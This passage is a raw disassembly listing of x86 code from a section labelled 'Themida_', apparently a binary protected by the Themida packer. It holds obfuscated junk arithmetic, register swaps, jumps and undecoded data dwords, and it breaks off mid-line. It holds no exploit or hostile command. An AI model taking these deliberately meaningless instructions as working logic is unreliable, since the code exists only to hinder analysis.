--------------------------------------------------------------------------- loc_571E75: ; CODE XREF: Themida_:005751E5j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] push 3C38h mov [esp], ebp dec dword ptr [esp] jmp loc_56EE4E ; --------------------------------------------------------------------------- loc_571E91: ; CODE XREF: Themida_:00565627j sub esi, 366B6D38h push ebx mov ebx, 25611359h shr ebx, 7 shl ebx, 3 inc ebx xor ebx, 0B32E7FDDh add esi, ebx pop ebx push ecx jmp loc_56513E ; --------------------------------------------------------------------------- loc_571EB3: ; CODE XREF: Themida_:00572E06j sub esi, 0E7FA5625h xor esi, 19867FFBh sub esi, 429967D8h add edx, 4525C76h sub edx, esi sub edx, 4525C76h pop esi jmp loc_55FF9F ; --------------------------------------------------------------------------- db 83h, 0C2h, 2 dd 0FF6A1CE9h db 0FFh ; --------------------------------------------------------------------------- loc_571EE1: ; CODE XREF: Themida_:00564729j pop ebp or eax, eax jz loc_565A8D push dword ptr [edi+1Ch] jmp loc_572F04 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4815B24h, 4, 4EA81h, 9B680000h, 8900003Fh, 0CEE92414h dd 1000026h, 3BB850DAh, 81396207h, 1510B1EAh, 861AE905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571F22: ; CODE XREF: Themida_:005643BAj add ebx, esi push dword ptr [esp] pop esi add esp, 4 add ebx, 0F6F4F66h sub ebx, eax jmp loc_56AC07 ; --------------------------------------------------------------------------- dd 0BD242C89h, 2B0B6B17h, 0FF3A2CE9h db 0FFh ; --------------------------------------------------------------------------- loc_571F45: ; CODE XREF: Themida_:0056C139j shl edx, 4 sub edx, 362AE4E1h add eax, edx mov edx, [esp] add esp, 4 and eax, 8427803h add eax, 0FFFFB801h jmp loc_57163E ; --------------------------------------------------------------------------- dd 0DAE9D801h, 81FFFFD6h, 4ECh, 0E5E5E900h, 0C89FFFFh dd 0F4E4E924h, 34FFFFFFh, 4D98E924h, 515BFFFFh, 320BE954h dd 0CF880000h, 66595A59h, 8124148Bh, 2C4h, 0E356E900h dd 0F531FFFEh, 0FF03ADE9h, 240C89FFh, 0FF8ED6E9h, 8734FFFFh dd 0FEDFE2E9h db 0FFh ; --------------------------------------------------------------------------- loc_571FBD: ; CODE XREF: Themida_:0056D442j push edi sub dword ptr [esp], 1 mov edi, [esp] jmp loc_56B6DD ; --------------------------------------------------------------------------- dw 13B1h dd 8B66C800h, 0DCE9240Ch, 29FFFFCEh, 5A042454h, 0FEDFBEE9h dd 74FF55FFh, 8F5D0424h, 665C2404h, 0E924148Bh, 0FFFFAB35h dd 5F2434FFh, 4C481h, 0B8500000h, 59347368h, 73632D48h dd 0C7015934h, 80E3E958h, 0F781FFFFh, 55D7FFBAh, 52A4EB81h dd 0A1E93765h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_572023: ; CODE XREF: Themida_:00567A22j mov edx, [esp] push 49ECh mov [esp], ecx push esp pop ecx push edx push ecx mov ecx, 36AF4089h xor ecx, 506E7B25h not ecx jmp loc_5633AC ; --------------------------------------------------------------------------- loc_572044: ; CODE XREF: Themida_:00569BD5j xchg ecx, [esp] pop esp push ecx mov ecx, 663F3C2Eh push ecx jmp loc_57524C ; --------------------------------------------------------------------------- dd 3304E983h, 0C31240Ch, 240C3324h, 0FFF5FBE9h, 0D1F749FFh dd 0FA26F181h, 0CB29BFCEh, 0FF7752E9h db 0FFh byte_572075 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0055FCF4o dd 592434FFh, 4C481h, 0CA680000h, 8900007Ch, 0E789243Ch dd 8904EC83h, 32BA2414h, 0F719125Eh, 0A6CA81DAh, 8153FA49h dd 1616C2h, 0FFD70108h, 815A2434h, 4C4h, 74296800h, 2C890000h dd 0E95D5424h, 0FFFFFC48h, 2EF3E981h, 515D791Ah, 42474FFh dd 81240C8Bh, 4C4h, 0B194E900h, 0F229FFFFh, 8324348Bh dd 0CA0104C4h, 0FF9403E9h, 6E94DFFh, 33FFFFF4h, 2C31242Ch dd 242C3324h, 0E924248Bh, 0FFFEDE9Fh, 2C581h, 0A0E90000h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57210B: ; CODE XREF: Themida_:00571056j push 254h mov [esp], ebx mov ebx, 74D25BB7h shl ebx, 6 jmp loc_5695E4 ; --------------------------------------------------------------------------- dd 8598E95Ch, 4BDFFFFh, 1000000h, 242C8BEBh, 4C481h, 1C330000h dd 241C3124h, 0FEFD33E9h db 0FFh byte_572141 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0055FE04o aHpd db '$hpd',0 align 2 dw 2C89h dd 0AA8DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_572152: ; CODE XREF: Themida_:00570BB7j mov eax, 7B631668h and eax, 500A5759h push ebp mov ebp, 71A60967h or eax, ebp pop ebp and eax, 12D673CBh neg eax push edi mov edi, 3DD0456Bh add eax, 2B8D6714h add eax, edi sub eax, 2B8D6714h pop edi or esi, eax pop eax shl esi, 2 neg esi jmp loc_56AC4B ; --------------------------------------------------------------------------- dd 4C481h, 0EA010000h, 0FFD6BFE9h db 0FFh ; --------------------------------------------------------------------------- loc_572199: ; CODE XREF: Themida_:0056CF78j add esp, 4 xor ebx, [esp] jmp loc_56C3D4 ; --------------------------------------------------------------------------- dd 0C24E1BFh, 0FFC78167h, 81FFFFFFh, 0B86C7EF7h, 15E94757h db 3Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5721BB: ; CODE XREF: Themida_:0056C8DCj push edx push dword ptr [esp+4] pop edx jmp loc_566059 ; --------------------------------------------------------------------------- loc_5721C6: ; CODE XREF: Themida_:0056EA46j add ebp, eax jmp loc_56163D ; --------------------------------------------------------------------------- loc_5721CD: ; CODE XREF: Themida_:0056D772j and esi, 62FB7FA7h push ecx push edx push 33922A3Fh pop edx xor edx, 1042710Fh mov ecx, edx pop edx add esi, ecx pop ecx not esi push edi mov edi, 0FF6A323h sub esi, edi pop edi jmp loc_568829 ; --------------------------------------------------------------------------- db 5Eh dd 7185C3B8h, 5BD801FFh, 8158C501h, 4C5h, 6A7AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57220E: ; CODE XREF: Themida_:00571847j xor edi, 51C42F27h push eax mov eax, 86C20C46h add edi, eax pop eax mov esi, edi pop edi push edi mov edi, 7FFA4879h add eax, 7AEA6268h jmp loc_56F1CF ; --------------------------------------------------------------------------- loc_572230: ; CODE XREF: Themida_:00562811j xchg edi, [esp] pop esp and eax, esi push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 or eax, eax jz loc_569193 push dword ptr [edi+1Ch] push 7C73h mov [esp], eax jmp loc_56993E ; --------------------------------------------------------------------------- db 81h, 0C7h, 84h dd 2906165Ah, 0AB685FF8h, 0E9000007h, 0FFFEF78Fh dword_572270 dd 0FF2434FFh, 81582434h, 4ECh, 241C8900h, 0B7E9E389h ; DATA XREF: Themida_:0055FD50o db 2Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_572287: ; CODE XREF: Themida_:00567247j sub eax, 28ED49C1h xor ecx, eax mov eax, [esp] jmp loc_561DFD ; --------------------------------------------------------------------------- dw 0E941h dd 0FFFEE373h, 1CF368h, 243C8900h, 243C8B54h, 0E904EC83h dd 0FFFFB896h ; --------------------------------------------------------------------------- loc_5722B0: ; CODE XREF: Themida_:0056780Dj mov eax, 40F77FAEh push ecx jmp loc_567173 ; --------------------------------------------------------------------------- loc_5722BB: ; CODE XREF: Themida_:0056B2F5j sub ebx, esi sub ebx, 2D166BBEh jmp loc_563AD9 ; --------------------------------------------------------------------------- dd 4BD55h, 0EB010000h, 4B8505Dh, 29000000h, 1C8758C3h dd 24248B24h, 0FF241489h, 5A042474h, 8B24048Fh, 34FF2424h dd 2434FF24h, 5624048Bh, 0C681E689h, 4, 4C681h, 0F7E90000h dd 68FFFF81h, 6C24h, 0FF93E0E9h, 240C8BFFh, 4C481h, 7CE90000h dd 0FFFFFEDCh, 1DE92434h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_57232B: ; CODE XREF: Themida_:0056BDC0j push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] jmp loc_5694CA ; --------------------------------------------------------------------------- loc_57233B: ; CODE XREF: Themida_:00560AFFj pop esi push edi mov edi, 5B461C9Ah and esi, edi jmp loc_571055 ; --------------------------------------------------------------------------- db 1, 74h, 24h dd 3BFDE904h, 0E581FFFFh, 3CA454D2h, 1331B850h, 89254D91h dd 3578AE36h, 47FA38BEh, 0FEF72EE9h, 4EC81FFh, 89000000h dd 148B2404h, 54876824h, 4890000h, 56E08924h, 0FFF38DE9h dd 0F3874BFFh, 704E9h, 595A5900h, 2E9C388h, 81000015h dd 2C421CC5h, 0F5015835h, 5826ED81h, 565E501Ch, 350E9h dd 246C8100h, 99708C04h, 246C816Ah, 0AB068E04h, 24540144h dd 84E95704h db 22h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5723CB: ; CODE XREF: Themida_:005639E2j xor esi, 63946F38h mov edx, esi mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5743BF ; --------------------------------------------------------------------------- dw 0CB81h dd 0DA60A94h, 1BDFF381h, 0B7053DBFh, 0E95AA32Eh, 1220h dd 2474FF50h, 24048B04h, 507868h, 39BFE900h, 34FFFFFFh dd 0C4835D24h, 241C8704h, 3668665Ch, 1EE6E948h db 2 dup(0) ; --------------------------------------------------------------------------- loc_572426: ; CODE XREF: Themida_:005612A8j push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 and eax, edx pop edx jmp loc_565787 ; --------------------------------------------------------------------------- db 0C0h, 0EFh, 4 dd 0E90BF780h, 1119h, 4C4835Eh, 8B242C87h, 0C8852424h dd 2954E99Ch, 0C8BFFFFh, 3A43E924h, 6859FFFFh, 3F55h, 0E9241C89h dd 166h, 24148B54h, 0FF4C8CE9h, 9CC138FFh, 0FEDB1EE9h dd 4BC581FFh, 1AB5AC1h, 242C8BEFh, 2904C483h, 9CEF81F7h dd 5E26A126h, 0AC7C7E05h, 5C9B2D38h, 0F8012484h, 845C9B05h dd 7C7E2D24h, 3C8B38ACh, 8B545624h, 76E92434h, 89FFFFF1h dd 0DEE92414h db 12h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5724C3: ; CODE XREF: Themida_:00566139j sub ecx, ebx mov ebx, [esp] add esp, 4 jmp loc_5701A7 ; --------------------------------------------------------------------------- db 89h dd 4C281E2h, 57000000h, 4BFh, 5FFA2900h, 5C241487h, 0E9241C89h dd 0FFFF445Dh, 0F7554D4Dh, 0E95D2414h, 0FFFEE321h ; --------------------------------------------------------------------------- loc_5724FC: ; CODE XREF: Themida_:00561368j xor edi, 65502173h add ecx, edi mov edi, [esp] jmp loc_562583 ; --------------------------------------------------------------------------- dd 0FCCDE954h, 0E958FFFEh, 0FFFEDEB2h, 4DC768h, 243C8900h dd 9E468h, 24248900h, 0FF7FDFE9h db 0FFh ; --------------------------------------------------------------------------- loc_57252D: ; CODE XREF: Themida_:00571389j pop ebp sub edi, 1BC1B39h add edi, eax add edi, 1BC1B39h add edi, 63F30ABEh pop eax jmp loc_56BC6F ; --------------------------------------------------------------------------- dd 7B0EBCBDh, 4372E940h, 34FFFFFFh, 0C9E95924h db 6Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57255B: ; CODE XREF: Themida_:0056412Fj mov eax, 90A2E353h sub edx, eax pop eax xor eax, edx pop edx push eax mov eax, esp jmp loc_56AF3F ; --------------------------------------------------------------------------- dw 0EF83h dd 74FF5704h, 0E95F0424h, 0FFFF4A6Dh, 0B8240489h, 5D8D363Ch dd 1E77BA52h, 40E96F12h db 5Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57258F: ; CODE XREF: Themida_:0056A9B8j mov [esp], edx push 60945FDh jmp loc_56BBC6 ; --------------------------------------------------------------------------- loc_57259C: ; CODE XREF: Themida_:00563E3Fj push edi mov edi, 42DD0CA6h or edi, 57F4367Dh add edi, 343A26E4h xor ebx, edi pop edi mov edi, ebx pop ebx xor edi, eax jmp loc_571DD6 ; --------------------------------------------------------------------------- loc_5725BB: ; CODE XREF: Themida_:00572A6Aj add bl, 97h push dword ptr [esp] pop eax push edi mov edi, esp add edi, 4 jmp loc_569DDE ; --------------------------------------------------------------------------- loc_5725D0: ; CODE XREF: Themida_:005742DAj pop edx jmp loc_566C55 ; --------------------------------------------------------------------------- dw 0D468h dd 5B1E9A56h, 1A03BE56h, 0D6F765DBh, 0FFCA97E9h db 0FFh ; --------------------------------------------------------------------------- loc_5725E9: ; CODE XREF: Themida_:00566199j add cl, dh add cl, 7Fh mov edx, [esp] push eax push esp pop eax jmp loc_56B72F ; --------------------------------------------------------------------------- db 0C1h, 0E2h, 3 dd 0E23DBD55h, 0EA2910BFh, 5AD0015Dh, 28876856h, 1C890000h dd 14ADBB24h, 0DE895538h, 5EF0015Bh, 8904EC83h, 0E9572434h dd 0FFFF223Ah ; --------------------------------------------------------------------------- loc_572628: ; CODE XREF: Themida_:0057121Cj or dl, ah pop ax jmp loc_5667C4 ; --------------------------------------------------------------------------- loc_572631: ; CODE XREF: Themida_:0056006Fj mov edx, [esp] jmp loc_5610CE ; --------------------------------------------------------------------------- db 0C1h, 0EAh, 4 dd 0FFFFB8E9h db 0FFh aMhsy db '¬h‘Y',0 ; DATA XREF: Themida_:0055FF1Co dw 8900h dd 0E950240Ch, 0FFFF7E9Ch, 243C8B59h, 0E904C483h, 7F9h ; --------------------------------------------------------------------------- loc_57265C: ; CODE XREF: Themida_:00571A13j push ax mov ah, 0C7h sub dh, ah pop ax jmp loc_567838 ; --------------------------------------------------------------------------- loc_572669: ; CODE XREF: Themida_:0056188Aj push ebx jmp loc_56565A ; --------------------------------------------------------------------------- byte_57266F db 0FFh ; DATA XREF: Themida_:0055FCF8o dd 669D1C77h, 2414D359h, 0D921E99Ch, 0C181FFFEh, 286C3D2Dh dd 7892C181h, 0E9810767h, 6DCC2713h, 0C1FFE983h, 45E908E1h db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57269B: ; CODE XREF: Themida_:0056C3BAj pop ecx jmp loc_5693A8 ; --------------------------------------------------------------------------- db 89h, 0F2h, 5Eh dd 67C6BD55h, 0B02D1E7Dh, 29793E7Fh, 7FB005E8h, 30E9793Eh dd 53FFFF03h, 0C381E389h, 4, 0FF5182E9h, 241C8BFFh, 0FF84FFE9h db 0FFh ; --------------------------------------------------------------------------- loc_5726D1: ; CODE XREF: Themida_:00570597j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_569193 ; --------------------------------------------------------------------------- loc_5726EB: ; CODE XREF: Themida_:00574180j xor ebp, ebx mov ebx, [esp] add esp, 4 jmp loc_5728F1 ; --------------------------------------------------------------------------- byte_5726FB db 57h ; DATA XREF: Themida_:0055FD90o dd 0FF4AF7E9h, 801FBEFFh, 0F5295790h, 0FFEB015Eh, 815D2434h dd 4ECh, 243C8900h, 0C781E789h, 4, 0FF2732E9h db 0FFh ; --------------------------------------------------------------------------- loc_572725: ; CODE XREF: Themida_:005739A4j push 174135EBh pop edi sub edx, edi mov edi, [esp] add esp, 4 add ecx, edx pop edx push 3DE9h mov [esp], eax jmp loc_56936F ; --------------------------------------------------------------------------- loc_572746: ; CODE XREF: Themida_:00573445j push 7BD2h jmp loc_56B61F ; --------------------------------------------------------------------------- loc_572750: ; CODE XREF: Themida_:00561E2Aj inc edi not edi add edi, 62E85AC3h inc edi jmp loc_570BEC ; --------------------------------------------------------------------------- loc_57275F: ; CODE XREF: Themida_:00561FAFj add [esp+4], eax jmp loc_56549E ; --------------------------------------------------------------------------- loc_572768: ; CODE XREF: Themida_:0056C566j sub ebx, 413A1557h shl ebx, 1 not ebx sub ebx, 0D315987Eh jmp loc_560703 ; --------------------------------------------------------------------------- loc_57277D: ; CODE XREF: Themida_:00562FAEj add esi, ecx add esi, 6CD5132Dh push ecx mov ecx, 6B9519CBh add esi, ecx pop ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_5696C6 ; --------------------------------------------------------------------------- db 1 dd 0C3EB81CBh, 0E959517Fh, 0FFFF0DE7h ; --------------------------------------------------------------------------- loc_5727AC: ; CODE XREF: Themida_:00563FB9j push 225Eh mov [esp], ebp push dword ptr [esp+4] jmp loc_5736EC ; --------------------------------------------------------------------------- db 89h, 0E0h, 0E9h dd 0FFFFADE1h, 0F6178468h, 0F9895F4Dh, 0FF5E9DE9h, 0B4E981FFh dd 0E900D056h, 0FFFF771Fh, 0FDC78166h, 0C5FDE999h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5727E6: ; CODE XREF: Themida_:0056443Cj xor ebp, 394F2F70h push 7212h mov [esp], edi jmp loc_573A4F ; --------------------------------------------------------------------------- loc_5727F9: ; CODE XREF: Themida_:0056926Bj sub edi, 287E09D3h pop ebp jmp loc_560056 ; --------------------------------------------------------------------------- aMfsh1 db '¬fSh1"',0 ; DATA XREF: Themida_:0055FD78o dd 24148900h, 0D2F64BB2h, 0CA80DAF6h, 0D991E99Ah, 0F180FFFFh dd 0E07AE963h, 0C381FFFFh, 4, 4C381h, 1C870000h, 0C8F8E924h dd 96BAFFFFh, 8946FA22h, 12ACE9D5h, 5146FFFFh, 0FFD715E9h db 0FFh ; --------------------------------------------------------------------------- loc_57284D: ; CODE XREF: Themida_:0056C1F8j mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_560A69 ; --------------------------------------------------------------------------- dd 0BF7BE950h, 0EC81FFFFh, 4, 0BE243489h, 4, 0FFC9DEE9h db 0FFh ; --------------------------------------------------------------------------- loc_57287D: ; CODE XREF: Themida_:005662F4j sub al, 4Ah sub al, ch add al, 4Ah add al, 0E3h pop ecx jmp loc_56B2C4 ; --------------------------------------------------------------------------- db 33h dd 0C31240Ch, 240C3324h, 6824248Bh, 3873h, 0FF7786E9h dd 3C335EFFh, 0AF1E924h, 58680000h, 8900000Eh, 4812424h dd 424h, 24048F00h, 81595451h, 4C1h, 4E98100h, 0E9000000h dd 0FFFFDACCh, 0EA81C229h, 59496BD2h, 432BE958h, 815EFFFFh dd 0E8638ACEh, 0C468532Bh, 5B00F829h, 0FF4EC6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5728F1: ; CODE XREF: Themida_:005726F6j sub esi, 22CE2C9Bh add esi, ebp add esi, 22CE2C9Bh pop ebp xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_567E2A ; --------------------------------------------------------------------------- db 52h dd 0FF0878E9h db 0FFh ; --------------------------------------------------------------------------- loc_572915: ; CODE XREF: Themida_:00563069j push edx mov edx, 660D7D8Ch shr edx, 1 push ebx mov ebx, 4B19791Bh push edx mov edx, 0FFFFFFFFh add ebx, edx jmp loc_568063 ; --------------------------------------------------------------------------- dd 8704E983h, 895C240Ch, 47BE2434h, 0E900BAC6h, 0FFFEFA3Dh dd 0ADE9D989h, 1FFFF22h, 34FF58C1h, 24348B24h, 0FFD542E9h dd 24048BFFh, 81E18951h, 4C1h, 4B85000h, 0E9000000h, 0FFFFB12Dh dd 8324048Bh, 0C32804C4h, 8064B450h, 0E3001DEBh, 0E91DC380h dd 0FFFFD7A7h ; --------------------------------------------------------------------------- loc_572988: ; CODE XREF: Themida_:00573FFBj xor [esp], ebx xor ebx, [esp] jmp loc_56B143 ; --------------------------------------------------------------------------- db 1 dd 0BF575AD3h, 3D6E7858h, 0FFD868E9h, 241C87FFh, 6824248Bh dd 5E59h, 0E9243489h, 0FFFF0CB3h ; --------------------------------------------------------------------------- loc_5729B4: ; CODE XREF: Themida_:00560B5Cj xchg edx, [esp] pop esp push ebp mov ebp, 5862093Fh and ebp, 65FC79E0h inc ebp jmp loc_567A7F ; --------------------------------------------------------------------------- dw 248Bh dd 48B6624h, 0E3895324h, 186FE952h db 2 dup(0) word_5729DA dw 32FFh ; DATA XREF: Themida_:0055FE7Co dd 0FED5BEE9h db 0FFh ; --------------------------------------------------------------------------- loc_5729E1: ; CODE XREF: Themida_:0056E4B0j sub edi, 52944A64h sub edi, 44635485h pop edx push edx mov edx, 4 jmp loc_569F64 ; --------------------------------------------------------------------------- byte_5729F9 db 0ACh, 0E9h, 0CEh ; DATA XREF: Themida_:0055FEF4o db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5729FF: ; CODE XREF: Themida_:00569F13j xor bl, 7Fh mov ah, bl mov ebx, [esp] add esp, 4 inc ah push edx mov dl, 0E8h neg dl not dl neg dl xor dl, 76h sub ah, dl pop edx shr ah, 1 xor ah, 12h jmp loc_56406A ; --------------------------------------------------------------------------- loc_572A28: ; CODE XREF: Themida_:00560E24j or edx, eax shl edx, 1 push 752h mov [esp], esi jmp loc_574593 ; --------------------------------------------------------------------------- db 0BAh, 0E2h, 6Fh dd 0EAC14461h, 0F9EA8107h, 0E994066Eh, 0FFFF9D1Dh ; --------------------------------------------------------------------------- loc_572A4C: ; CODE XREF: Themida_:0057195Aj pop eax jmp loc_5665D4 ; --------------------------------------------------------------------------- dw 5966h dd 8008E5C0h, 0EB881DC5h, 49CB8059h, 1BC8E9h db 0 ; --------------------------------------------------------------------------- loc_572A65: ; CODE XREF: Themida_:00566C17j add bl, ah sub bl, 4Ah jmp loc_5725BB ; --------------------------------------------------------------------------- loc_572A6F: ; CODE XREF: Themida_:0057547Cj mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_56D8F4 ; --------------------------------------------------------------------------- dw 0C483h dd 73E95104h, 5DFFFF42h, 0FF8076E9h, 0D0F796FFh, 0E9F38796h dd 0FFFEF61Fh, 0B08E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_572AA6: ; CODE XREF: Themida_:0056A06Bj push edi not dword ptr [esp] pop edi xchg edi, ecx xor edi, ecx xor ecx, edi xor edi, ecx push 0C3Bh mov [esp], eax sub esp, 4 jmp loc_561746 ; --------------------------------------------------------------------------- loc_572AC6: ; CODE XREF: Themida_:00572D30j pop ecx and ebp, 67B621E7h neg ebp push edi mov edi, 9849DE1Fh xor ebp, edi pop edi add ebx, ebp pop ebp sub ebx, 4 jmp loc_564A71 ; --------------------------------------------------------------------------- dw 0F181h dd 0B5D4511h, 0C8BCF01h, 59545124h, 4978B850h, 0E02527E6h dd 0E907EC62h, 14BCh, 8F04C483h, 248B2404h, 68E1F724h dd 69A4h, 50241489h, 0D481E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_572B1E: ; CODE XREF: Themida_:0056CB71j mov ebp, esp push ecx mov ecx, 4 add ebp, ecx pop ecx add ebp, 4 xchg ebp, [esp] mov esp, [esp] push ebp mov ebp, 2 add ecx, ebp pop ebp xor ecx, [esp] jmp loc_562E7E ; --------------------------------------------------------------------------- dw 0C801h dd 83240C8Bh, 348904ECh, 0E95E5424h, 0FFFF9375h, 0B98EE95Fh dd 0DF31FFFFh, 8BF8315Bh, 5456243Ch, 8124348Bh, 4C4h, 4C68100h dd 0E9000000h, 0FFFED8A8h, 503E8C1h, 628D3FA0h, 9545D935h dd 7F28E94Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_572B8E: ; CODE XREF: Themida_:005737BCj mov ecx, [esp] add esp, 4 add esp, 4 sub ebx, 379B1807h or eax, ebx pop ebx or eax, 124E37F8h shl eax, 8 push 176Ch mov [esp], edx jmp loc_56E241 ; --------------------------------------------------------------------------- loc_572BB8: ; CODE XREF: Themida_:00567846j mov dl, 7Ch jmp loc_574D5D ; --------------------------------------------------------------------------- loc_572BBF: ; CODE XREF: Themida_:00573A3Cj sub ecx, 3E6E0951h sub ecx, 0FFFFFFFFh sub ecx, 481C50F1h sub ecx, 1 sub ecx, 7DD2B8E6h sub edx, ecx pop ecx add ebp, 0F480FD3h add ebp, edx sub ebp, 0F480FD3h pop edx sub ebp, 4 xor ebp, [esp] jmp loc_566462 ; --------------------------------------------------------------------------- db 33h dd 3C31243Ch, 243C3324h, 5F8DE95Ch, 525CFFFFh, 34E9E289h db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_572C0F: ; CODE XREF: Themida_:00569862j add esp, 4 add ch, 10h jmp loc_56B1C8 ; --------------------------------------------------------------------------- db 81h, 0C2h, 0F5h dd 0F7010E44h, 20C281D2h, 29411DC5h, 68E95AD0h db 0DAh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_572C33: ; CODE XREF: Themida_:00567D61j inc eax and eax, 2CB65CF7h xor eax, 6F221A4Fh add eax, 551E5486h sub edx, eax pop eax add esi, edx pop edx and ebx, esi push dword ptr [esp] push dword ptr [esp] pop esi push ebp mov ebp, esp add ebp, 4 jmp loc_562060 ; --------------------------------------------------------------------------- dd 8124148Bh, 4C4h, 2CEE8100h, 5139451Dh, 7E17BA52h, 0E953343Bh dd 0FFFF07EFh, 0C281E289h, 4, 419EE955h, 895CFFFFh, 4A682404h dd 89000039h, 0CC68240Ch, 59175D44h, 2E1EC181h, 0C141321Fh dd 0C18108E9h, 1FABA2A0h, 4859C889h, 0FF4021E9h db 0FFh ; --------------------------------------------------------------------------- loc_572CB5: ; CODE XREF: Themida_:00562117j inc edi shl edi, 8 xor edi, 5A408004h jmp loc_56F8D9 ; --------------------------------------------------------------------------- dd 0F5CCE941h, 0E95CFFFFh, 0FFFF9ADAh ; --------------------------------------------------------------------------- loc_572CD0: ; CODE XREF: Themida_:00569840j sub ebx, 4C9061ECh add ebx, 58844835h sub ebx, eax push 7084h mov [esp], eax mov eax, 58844835h sub ebx, eax mov eax, [esp] add esp, 4 push 5F7Bh jmp loc_573364 ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFF73B0h, 81E28952h, 4C2h, 4C28300h, 0E9241487h dd 0FFFF617Dh ; --------------------------------------------------------------------------- loc_572D1C: ; CODE XREF: Themida_:00561775j sub ecx, 7A3A186Fh and ecx, 7CE95990h xor ecx, 2CF56C99h or ebp, ecx jmp loc_572AC6 ; --------------------------------------------------------------------------- db 68h, 31h, 44h dd 0FAE95BF6h, 5E000012h, 0FF8874E9h db 0FFh byte_572D45 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0055FD2Co dd 0E756824h, 1C890000h, 1C8B5424h, 2EFFE924h, 0F028FFFFh dd 148B1D2Ch, 9818E924h, 0C281FFFFh, 8703FADFh, 0FF02EFE9h db 0FFh ; --------------------------------------------------------------------------- loc_572D71: ; CODE XREF: Themida_:00563F90j pop edi sub ebx, 0BC50542h add edx, 2A4C53A4h jmp loc_57319A ; --------------------------------------------------------------------------- db 0BFh dd 4, 4246C81h, 1F50717Bh, 2608BD55h, 6C017FD9h, 15D0824h dd 0E904247Ch, 0FFFF61A2h ; --------------------------------------------------------------------------- loc_572DA4: ; CODE XREF: Themida_:00567455j push edx mov edx, 1 sub esi, edx jmp loc_565626 ; --------------------------------------------------------------------------- db 81h, 0EFh, 0D5h dd 0C16C4D29h, 0E7C108E7h, 6C78105h, 1469FCFh, 315A5FFEh dd 24348BF0h, 4C481h, 89E90000h db 0Eh, 2 dup(0FFh) byte_572DD7 db 8Bh ; DATA XREF: Themida_:0055FD88o dd 68572404h, 7F6Dh, 81242489h, 42404h, 0E0E90000h, 87FFFFE8h dd 8F5C2404h, 315C2404h, 0E99C2404h, 0FFFF5D25h ; --------------------------------------------------------------------------- loc_572E00: ; CODE XREF: Themida_:005731D2j mov esi, 294C6B63h dec esi jmp loc_571EB3 ; --------------------------------------------------------------------------- db 5Ah dd 34FFFE29h, 89B7E924h db 2 dup(0FFh) word_572E16 dw 34FFh ; DATA XREF: Themida_:0055FF48o dd 24048B24h, 4C481h, 0EC830000h, 24048904h, 34C968h, 48F5400h dd 389AE924h, 0CB81FFFFh, 1F746242h, 0F704E3C1h, 0F8F381D3h dd 0E9C96F4Bh, 0FFFEDF82h, 0DE89D389h, 0FF2063E9h, 5BDD01FFh dd 4EC81h, 34890000h, 3493BE24h, 0EE8172FBh, 7BE20479h dd 0C681D6F7h, 707F4027h, 0FF5F5EE9h db 0FFh ; --------------------------------------------------------------------------- loc_572E79: ; CODE XREF: Themida_:00575045j dec edx push edx not dword ptr [esp] jmp loc_5703CD ; --------------------------------------------------------------------------- db 0Fh dd 6866C0B6h, 89665D67h, 0CE92404h, 83FFFED1h, 5E042404h dd 4C681h, 0EC830000h, 0E523E904h, 0E2C1FFFEh, 81E2D106h dd 0B24684F2h, 0E9D3014Fh, 0FFFF2768h, 814BF581h, 0EA89A333h dd 23EBE95Dh, 0C7810000h, 4, 13E0E9h, 24048F00h, 0E924248Bh dd 0FFFEF6E5h dword_572EDC dd 0E92434FFh, 0FFFF9369h ; DATA XREF: Themida_:0055FE68o ; --------------------------------------------------------------------------- loc_572EE4: ; CODE XREF: Themida_:0056BEA0j add esp, 4 mov ecx, edx pop edx push edx push ebp mov ebp, 0 jmp loc_56018C ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 0E904C483h, 0FFFED64Bh ; --------------------------------------------------------------------------- loc_572F04: ; CODE XREF: Themida_:00571EEDj sub dword ptr [esp], 7BAE44F2h push dword ptr [esp] pop ecx add esp, 4 jmp loc_560E6D ; --------------------------------------------------------------------------- loc_572F17: ; CODE XREF: Themida_:0056B1FAj add esp, 4 push ebp push esp jmp loc_566AB0 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 81000000h, 0F2AC2EFh, 52EF0124h, 0F2AC2BAh, 5AD70124h dd 5D2434FFh, 42EE9h, 0EDED8100h, 1636235h, 0DDE3E9D5h dd 0E681FFFEh, 15B779F0h, 80CEE81h, 0F7011027h, 